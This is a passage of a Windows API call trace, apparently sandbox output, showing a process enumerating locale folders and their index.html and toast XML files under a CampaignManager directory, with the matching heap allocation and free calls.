ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.094] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.094] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0294.095] GetProcessHeap () returned 0xaf0000 [0294.096] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.096] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1 [0294.096] GetProcessHeap () returned 0xaf0000 [0294.096] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.097] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.097] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.097] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.097] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.097] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.097] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.098] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.099] GetProcessHeap () returned 0xaf0000 [0294.099] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.099] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1 [0294.099] GetProcessHeap () returned 0xaf0000 [0294.099] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0294.100] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.100] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.100] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.101] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.101] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.101] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.101] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0294.102] GetProcessHeap () returned 0xaf0000 [0294.102] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.102] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1 [0294.102] GetProcessHeap () returned 0xaf0000 [0294.102] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.104] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.104] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.104] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.104] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.104] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.104] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.104] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.106] GetProcessHeap () returned 0xaf0000 [0294.106] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.106] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1 [0294.106] GetProcessHeap () returned 0xaf0000 [0294.106] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.107] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.107] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.107] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.108] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.108] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.108] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.108] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.109] GetProcessHeap () returned 0xaf0000 [0294.109] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.109] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0294.109] GetProcessHeap () returned 0xaf0000 [0294.109] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.110] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.110] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.110] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.111] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.111] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.111] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.111] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 